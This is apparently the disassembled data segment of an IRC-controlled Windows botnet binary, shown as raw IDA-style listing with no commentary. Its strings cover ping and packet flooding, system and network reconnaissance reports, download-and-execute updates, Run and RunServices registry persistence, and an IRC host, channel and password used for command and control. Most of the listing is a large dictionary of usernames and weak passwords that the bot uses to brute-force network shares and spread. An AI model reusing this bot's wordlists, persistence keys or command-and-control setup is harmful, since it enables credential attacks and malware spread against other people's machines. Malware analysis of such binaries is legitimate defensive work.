aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42285C	db    2			; DATA XREF: sub_407357:loc_4073B0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_422894	db    2			; DATA XREF: sub_407357+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_4228D8	db    2			; DATA XREF: seg000:00407617o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_422918	db    2			; DATA XREF: seg000:00407549o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_422954	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040782Do
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_422994	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:004076F5o
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 10h
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40787D+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40799C+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40799C+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40799C:loc_407B00o
		align 4
word_422AD8	dw 3Fh			; DATA XREF: sub_40799C:loc_407A9Er
					; sub_4086FA+1Fo
		align 4
dword_422ADC	dd 28207325h, 297325hdword_422AE4	dd 3F3F3Fh						; seg000:loc_40F95Co
a2003		db '2003',0             ; DATA XREF: sub_40799C+BAo
					; seg002:004232ECo ...
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_40799C+AAo
					; seg000:0040F947o ...
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40799C+98o
					; seg000:0040F937o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40799C+7Eo
					; seg000:0040F91Eo
		align 4
a98		db '98',0               ; DATA XREF: sub_40799C+6Co
					; seg000:0040F90Eo
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_40799C+5Ao
					; seg000:0040F8FEo
		align 4
a95		db '95',0               ; DATA XREF: sub_40799C+46o
					; seg000:0040F8F0o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_407C50+ABo
		align 4
off_422B48	dd offset loc_412F4A+4	; DATA XREF: sub_407C50:loc_407CC4o
dword_422B4C	dd 4E414Ch	dword_422B50	dd 6C616944h, 70752Dhdword_422B58	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_422B68	dd 202E6425h, 3D207325h, 732520hdword_422B74	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_407E0E+60o
		align 4
dword_422BA8	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_407EAE+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_422BE0	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_407EEE+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_422C10	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_407EEE+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h, 0
dword_422C38	dd 78h				align 10h
dword_422C40	dd 80000002h, 4230E0h, 80000002h, 423110h, 80000001h, 423148h
					; DATA XREF: sub_40801D+7o
unk_422C58	db    2			; DATA XREF: sub_40801D+63o
					; seg000:004085E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: seg000:0040B524o
					; seg000:0040D109o ...
		align 10h
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_422ED0	db    2			; DATA XREF: seg000:004081C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4086FA:loc_40873Do
					; sub_40EC42+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4086FA:loc_408737o
aDisk		db 'Disk',0             ; DATA XREF: sub_4086FA:loc_408731o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4086FA:loc_40872Bo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4086FA:loc_408725o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_4086FA:loc_40871Fo
aFailed		db 'failed',0           ; DATA XREF: sub_40878B:loc_408863o
					; sub_4088A6+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40878B+6Bo
		align 4
dword_422F48	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4088A6+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_422F98	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4088A6+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_408978:loc_4089BDo
dword_422FEC	dd 1A0Bh						; sub_4089FD+620r
dword_422FF0	dd 1A0Bh			dd 1AA6h
dword_422FF8	dd 0CCEh						; seg000:0040D70Ar
dword_422FFC	dd 158Dh						; seg000:loc_40D7FCr
dword_423000	dd 1		dword_423004	dd 1		dword_423008	dd 1							; sub_4089FD+434o
byte_42300C	db 78h			; DATA XREF: seg000:loc_408650r
					; seg000:00409A44r ...
		align 10h
dword_423010	dd 9							; sub_40F6E3+51r ...
dword_423014	dd 1							; seg000:0040960Cr ...
aIds44433	db 'ids44433',0         ; DATA XREF: sub_4089FD+152o
					; seg000:0040C72Ao ...
		align 4
aEnz9_9b3443	db 'enz 9.9b3443',0
		align 4
aHi		db 'hi',0               ; DATA XREF: seg000:0040E19Co
					; seg000:0040E26Bo
		align 4
aDd_mybn_us	db 'dd.mybn.us',0       ; DATA XREF: sub_4089FD+576o
					; sub_4089FD+611o
		align 4
aDd		db '#dd',0              ; DATA XREF: sub_4089FD+597o
					; sub_4089FD+627o
aDpass		db 'dpass',0            ; DATA XREF: sub_4089FD+5AEo
					; sub_4089FD+639o
		align 10h
byte_423050	db 6Eh			; DATA XREF: sub_4089FD:loc_40904Cr
					; sub_4089FD+65Do
		db 65h,	77h, 2Eh
		dd 646A616Eh, 73752Eh
dword_42305C	dd 646423h	aDpass_0	db 'dpass',0            ; DATA XREF: sub_4089FD+685o
		align 4
byte_423068	db 52h			; DATA XREF: sub_402B8D+3Eo
					; seg000:00405062o ...
		db 2 dup(6Fh), 54h
		dd 74666F73h, 6D6F632Eh, 0
		dd 746F6F72h, 74666F73h, 6C6C642Eh, 0
dword_423088	dd 746F6F52h, 666F5320h, 74hdword_423094	dd 2D324653h, 0			dd 546F6F52h, 74666F73h, 6D6F632Eh, 0
dword_4230AC	dd 692B782Bh, 0	dword_4230B4	dd 32667323h, 0						; seg000:0040D554o ...
		dd 2 dup(737323h), 32323835h, 31h, 326673h, 2E326673h
		dd 0
off_4230D8	dd offset a@room	; DATA XREF: seg000:loc_40E1E6o
					; "*@room"
off_4230DC	dd offset aMirc1_6_99	; DATA XREF: seg000:00409BBDr
					; seg000:0040E202o
					; "mirc	1.6.99"
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_40FC75+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_40FC75+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 10h
		dd offset dword_42F3E8
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_429AE0	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_41F1D0
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat		; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
